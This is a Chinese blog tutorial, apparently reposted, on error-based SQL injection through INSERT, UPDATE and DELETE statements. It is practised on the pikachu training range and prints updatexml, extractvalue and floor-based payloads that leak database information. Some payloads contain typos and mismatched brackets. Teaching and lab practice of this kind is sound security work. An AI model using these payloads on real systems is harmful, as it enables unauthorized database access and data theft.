vlambda博客
学习文章列表

SQL注入之初窥insert,update,delete注入

在我们进行sql注入时,很多注入会出现无回显的状况,其中不回显的原因可能是sql语句查询方式的问题(问题之一),这时候我们要用到相关的报错或盲注进行后续操作,同时作为手工注入时,提前了解或预知其sql语句大致写法也能更好地选择对应的注入语句。


在分享回显和盲注之前,我们再简单说一下增删改查的sql语句

#select 查询数据select * from news where id=$id
#insert 插入数据在网站应用中进行用户注册添加等操作insert into news (id,url,text) values(2,'x','$t')
#delete删除数据后台管理删除文章或其他删除操作delete from news where id=$id
#update更新数据会员或后台数据同步或缓存操作update user set pwd='$p' where id=2 and username='admin'
#order by 排序数据一般结合表名或列名进行数据排序操作例:select * from news order by $id

重点理解:我们可以通过以上查询方式与网站应用的关系,推测注入点产生地方或应用猜测对方的sql查询方式


下面我们就用三个案例简单理解一下这几种操作方式的注入。

使用的相关函数,简单看看,知道如何使用即可。

updateXML(xml_target,xpath_expr,new_xml)#此函数将xml_target中用xpath_expr路径匹配到XML片段用new_xml替换,然后返回更改后的XML。#xml_target被替换的部分与xpath_expr用户提供的XPath表达式匹配。#如果找不到表达式匹配 xpath_expr项,或者找到多个匹配项,则该函数返回原始 ml_targetXML片段。#所有三个参数都应为字符串。ExtractValue(xml_frag, xpath_expr)#此函数是返回在xml_frag用xpath_expr路径匹配到的XML片段。floor(x)#此函数返回不大于x的最大整数。


insert

注入产生原因(注册新用户):后端没有做防SQL注入处理,在前端注册的信息,通过insert直接拼接到数据库中;

insert注入方法:
insert用法例如:

insert into member(username,pw,sex.phonenum,email,address) values('M9',1234,1,1,1,1,);

以上是Insert的完整语句,而我们输入的用户名对应的就是上面‘M9’这里,这里我们可以使用 or 这个逻辑运算符,例如用下面的语句代替M9:

x' or updatexml(1,concat(0x7e,version()),0) or '

第一个or的意思是对第一个插入的值进行运算,在运算的过程中就会执行updatexml()这个函数,所以我们就可以在这里插入我们构造的sql语句。


大致了解原理后我们来在靶场实验一波。pikachu靶场,sql注入栏

这里我们就已经注入成功了,后续操作自己操作就好,前期还是以原理为主,只要能找到注入点,爆库只是时间问题。

payload: 

#UpdateXML()函数:' or updatexml(1,concat(0x7e,(database())),0) or '#ExtractValue()函数:' or extractvalue(1,concat(0x5e24,(database()))) or '#floor()报错:1'and (select 1 from (select count(*),concat('~',database(),'~',floor(rand(0)*2))as x from information_schema.tables group by x)a))#



update

update注入和上面insert注入一样,只不过update在修改信息那里注入,而insert在注册那里注入。

先登录注册的号码,然后后台修改,抓包数据如下

SQL注入之初窥insert,update,delete注入

和上面操作基本一致。

payload:

# UpdateXML()函数:' or updatexml(1,concat(0x7e,(database())),0) or '# ExtractValue()函数:' or extractvalue(1,concat(0x5e24,(database()))) or '# fool报错1' and (select 1 from (select count(*),concat('~',database(),'~',floor(rand(0)*2)) as x from information_schema.tables group by x)a)#)


delete注入

还是使用pikachu靶场,先留几条留言,当我们需要删除的时候,抓个数据包,修改一下参数,加上and 1=1#,发现删除成功,加上and 1=2#,删除失败。

SQL注入之初窥insert,update,delete注入

猜测sql语句为:

delete from xxxx where id = x

这里就不需要再闭合了,因为是数字型

实际去查看源代码时,发现后面有个‘’的后缀,我们需要闭合掉。

注意!!!在这里需要注意一个问题!,因为我们的参数是在URL里面提交的,所以我们需要将它转化成URL的形式,而我们的工具bp上面也有,如下图:

SQL注入之初窥insert,update,delete注入

payload:

# UpdateXML()函数:or or updatexml(1,concat(0x7e,(database())),0) or ''# ExtractValue()函数:or extractvalue(1,concat(0x5e24,(database()))) or ''# floor()报错:1 and (select 1 from (select count(*),concat('~',database(),'~',floor(rand(0)*2))as x from information_schema.tables group by x)a))'


以上是三种不同于select查询语句的sql注入方法,现在说一下它们之间的区别:

insert update 和delete这三个是一个操作,而select是一个查询语句,是可以直接查询到所需要的信息,而操作只能够通过报错返回信息的方式查询到我们所需的信息,还有一个不同点就是select是可以使用union的,因为它是一个完整的语句,而insert update和delete不行,这三个是一个操作。